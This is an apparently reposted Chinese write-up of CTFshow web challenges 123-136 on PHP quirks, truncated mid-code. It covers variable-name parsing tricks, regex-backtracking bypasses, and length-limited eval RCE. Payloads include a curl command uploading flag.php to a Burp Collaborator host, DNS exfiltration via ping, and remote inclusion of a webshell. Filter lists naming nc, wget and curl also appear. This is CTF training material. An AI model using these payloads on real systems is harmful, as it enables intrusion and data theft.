CTFshow刷题日记-WEB-PHP特性(下篇123-150)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-PHP特性(下篇123-150)相关的知识,希望对你有一定的参考价值。

web123,125,126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\%|\\^|\\*|\\-|\\+|\\=|\\{|\\}|\\"|\\'|\\,|\\.|\\;|\\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

以下内容来自羽师傅的博客

第一个难搞的地方isset($_POST[‘CTF_SHOW.COM’])因为php变量命名是不允许使用点号的
可以测试一下

<?php
var_dump($_POST);

输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0

<?php
function curl($url,$data){
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
	$response = curl_exec($ch);
	curl_close($ch);
	return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) { 
	for ($j=0; $j <=128 ; $j++) {
			$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
				if(curl($url,$data)!=0){
					echo $data."\\n"; 
				}
   		}
   	}

其中test.php中的内容

<?php
if(isset($_POST['CTF_SHOW.COM'])){
    echo 123;
}

输出结果

CTF%5BSHOW.COM=123

具体的原理尚不清楚
另外一个知识点

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']

这时候我们只要通过 eval(" c " . " ; " ) ; 将 c".";");将 c".";");flag赋值flag_give_me就可以了

payload:
get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

非预期解

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以

预期解

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

本地测试了下

<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" 

有大佬啃了下php的c源码总结如下

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\\`|\\~|\\!|\\@|\\#|\\^|\\*|\\(|\\)|\\\\$|\\_|\\-|\\+|\\{|\\;|\\:|\\[|\\]|\\}|\\'|\\"|\\<|\\,|\\>|\\.|\\\\\\|\\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

根php url解析有关

php在解析查询字符串时,它会做两件事:

  1. 删除空白符
  2. 将某些字符转换为下划线(包括空格)

还有以下字符等同于ctf_show

+ _ [ .    转换成下划线
+  这里的加号在url中起到空格的作用

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

考察:gettext扩展

开启扩展后_() 效果合 gettext() 相同

实例:

echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo
效果一样

call_user_func('_','phpinfo') 返回的就是phpinfo

flag在flag.php文件中, 可以用 get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
    
效果就和$GLOBES一样    

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
stripos() 
查找字符串在另一字符串中第一次出现的位置(不区分大小写)

f 中必须出现 ctfshow 字符串,并且不能再开头

方法一:

远程文件包含,在自己的服务器上写一个一句话木马,保存为txt格式

访问:

?f=http://url/xxx.txt?ctfshow

方法二:

伪协议

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

filter伪协议支持多种编码方式,无效的就被忽略掉了

web130

利用正则最大回溯次数绕过

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

题目提示:very very very(省略25万个very)ctfshow

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false, 这样就可以绕过第一个正则表达式了

python脚本

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

非预期解法

直接 post ,正则匹配到 ctfshow与匹配规则不符 ,同时 stripos在第0 匹配, 而0=== FALSE为假绕过。

f=ctfshow
利用数组 f[]=ctfshow

web131

修复了130的非预期解法, 只能使用利用正则最大回溯次数绕过

web132

有一个简单的前端,用dirsearch也没扫到,发现他会跳转一下,加上端口访问robots.txt,发现存在admin目录,访问得到源码

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
    }
}

关键在

if(false && false || ture)

因为 && 的优先级大于 ||,所以就相当于 (false && false) || ture,只要后边是true就行

ip:8080/admin/?username=admin&password=&code=

web133-无回显rce

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

主要是考察,命令执行的骚操作和curl -F的使用

如果我们传递的参数就是$F本身,会不会发生变量覆盖?

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
    
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断, 经过substr($F,0,6)截取后 得到  `$F `;
然后去执行eval()函数,也就是会执行 eval("`$F `;");
这个函数的作用是执行php代码,``shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就突破长度限制执行成功

有点绕,也就是说 ; 后边的内容是我们可以控制的,但是没有回显

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

# payload 
# 其中-F 为带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件 
?F=`$F`;+curl -X POST -F xx=@flag.php  http://nqh3hfwolip6i6vh6igq0zdnnet9hy.burpcollaborator.net

所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag

web134-POST数组的覆盖

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

以GET 传参_POST[a]相当于post传参 a 的效果。

构造paylaod

?_POST[key1]=36d&_POST[key2]=36d

查看源码拿到flag

web135-133加强版

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

比133题添加了过滤

但是没有过滤mv,cp,ping,nl

?F=`$F`; cp flag.php flag.txt
?F=`$F`; mv flag.php flag.txt   

ping

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

nl

?F=`$F `;nl f*>flag.txt

访问即可

web136-tee命令

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c']以上是关于CTFshow刷题日记-WEB-PHP特性(下篇123-150)的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-爆破

CTFshow刷题日记-WEB-SSTI(web361-372)

CTFshow刷题日记-WEB-反序列化篇(上,254-263)